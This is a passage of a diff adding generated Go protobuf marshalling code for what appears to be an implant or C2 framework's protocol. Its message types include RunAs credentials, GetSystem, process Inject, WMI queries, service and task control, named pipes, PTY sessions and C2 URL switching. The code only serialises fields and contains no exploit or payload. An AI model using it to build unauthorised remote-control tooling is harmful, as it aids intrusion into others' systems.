m.Taskschd.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedule) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedule) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskSchedule) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NextRunTime) > 0 { + i -= len(m.NextRunTime) + copy(dAtA[i:], m.NextRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.NextRunTime))) + i-- + dAtA[i] = 0x4a + } + if len(m.LastRunTime) > 0 { + i -= len(m.LastRunTime) + copy(dAtA[i:], m.LastRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LastRunTime))) + i-- + dAtA[i] = 0x42 + } + if m.Enabled { + i-- + if m.Enabled { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if len(m.Description) > 0 { + i -= len(m.Description) + copy(dAtA[i:], m.Description) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Description))) + i-- + dAtA[i] = 0x32 + } + if len(m.StartBoundary) > 0 { + i -= len(m.StartBoundary) + copy(dAtA[i:], m.StartBoundary) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StartBoundary))) + i-- + dAtA[i] = 0x2a + } + if m.TriggerType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TriggerType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedulesResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedulesResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskSchedulesResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Schedules) > 0 { + for iNdEx := len(m.Schedules) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Schedules[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ServiceRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Service != nil { + size, err := m.Service.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceConfig) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceConfig) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceConfig) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.AccountName) > 0 { + i -= len(m.AccountName) + copy(dAtA[i:], m.AccountName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.AccountName))) + i-- + dAtA[i] = 0x32 + } + if m.ErrorControl != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ErrorControl)) + i-- + dAtA[i] = 0x28 + } + if m.StartType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StartType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.DisplayName) > 0 { + i -= len(m.DisplayName) + copy(dAtA[i:], m.DisplayName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DisplayName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceStatus) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceStatus) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceStatus) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.WaitHint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.WaitHint)) + i-- + dAtA[i] = 0x28 + } + if m.Checkpoint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Checkpoint)) + i-- + dAtA[i] = 0x20 + } + if m.ExitCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ExitCode)) + i-- + dAtA[i] = 0x18 + } + if m.ProcessId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ProcessId)) + i-- + dAtA[i] = 0x10 + } + if m.CurrentState != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.CurrentState)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Service) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Service) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Service) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Status != nil { + size, err := m.Status.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if m.Config != nil { + size, err := m.Config.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServicesResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServicesResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServicesResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Services) > 0 { + for iNdEx := len(m.Services) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Services[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *WmiQueryRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiQueryRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *WmiQueryRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *WmiMethodRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiMethodRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *WmiMethodRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.MethodName) > 0 { + i -= len(m.MethodName) + copy(dAtA[i:], m.MethodName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.MethodName))) + i-- + dAtA[i] = 0x1a + } + if len(m.ClassName) > 0 { + i -= len(m.ClassName) + copy(dAtA[i:], m.ClassName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClassName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RunAsRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RunAsRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RunAsRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.UseEnv { + i-- + if m.UseEnv { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x40 + } + if m.Netonly { + i-- + if m.Netonly { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if m.UseProfile { + i-- + if m.UseProfile { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x2a + } + if len(m.Program) > 0 { + i -= len(m.Program) + copy(dAtA[i:], m.Program) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Program))) + i-- + dAtA[i] = 0x22 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x1a + } + if len(m.Domain) > 0 { + i -= len(m.Domain) + copy(dAtA[i:], m.Domain) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Domain))) + i-- + dAtA[i] = 0x12 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *GetSystem) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetSystem) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *GetSystem) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Inject) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Inject) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Inject) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Pipe) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Pipe) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Pipe) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PipeRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PipeRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PipeRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pipe != nil { + size, err := m.Pipe.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Switch) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Switch) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Switch) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Urls) > 0 { + for iNdEx := len(m.Urls) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Urls[iNdEx]) + copy(dAtA[i:], m.Urls[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Urls[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *TaskCtrl) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskCtrl) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskCtrl) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Op) > 0 { + i -= len(m.Op) + copy(dAtA[i:], m.Op) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Op))) + i-- + dAtA[i] = 0x12 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.SendCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.SendCount)) + i-- + dAtA[i] = 0x20 + } + if m.RecvCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.RecvCount)) + i-- + dAtA[i] = 0x18 + } + if m.Last != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Last)) + i-- + dAtA[i] = 0x10 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskListResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskListResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskListResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Tasks) > 0 { + for iNdEx := len(m.Tasks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Tasks[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *FFmpegRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FFmpegRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *FFmpegRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Time) > 0 { + i -= len(m.Time) + copy(dAtA[i:], m.Time) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Time))) + i-- + dAtA[i] = 0x2a + } + if len(m.OutputPath) > 0 { + i -= len(m.OutputPath) + copy(dAtA[i:], m.OutputPath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputPath))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputFormat) > 0 { + i -= len(m.OutputFormat) + copy(dAtA[i:], m.OutputFormat) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputFormat))) + i-- + dAtA[i] = 0x1a + } + if len(m.DeviceName) > 0 { + i -= len(m.DeviceName) + copy(dAtA[i:], m.DeviceName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DeviceName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Action) > 0 { + i -= len(m.Action) + copy(dAtA[i:], m.Action) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Action))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PtyRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x42 + } + } + if len(m.InputText) > 0 { + i -= len(m.InputText) + copy(dAtA[i:], m.InputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputText))) + i-- + dAtA[i] = 0x3a + } + if len(m.InputData) > 0 { + i -= len(m.InputData) + copy(dAtA[i:], m.InputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputData))) + i-- + dAtA[i] = 0x32 + } + if m.Rows != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Rows)) + i-- + dAtA[i] = 0x28 + } + if m.Cols != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cols)) + i-- + dAtA[i] = 0x20 + } + if len(m.Shell) > 0 { + i -= len(m.Shell) + copy(dAtA[i:], m.Shell) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Shell))) + i-- + dAtA[i] = 0x1a + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + 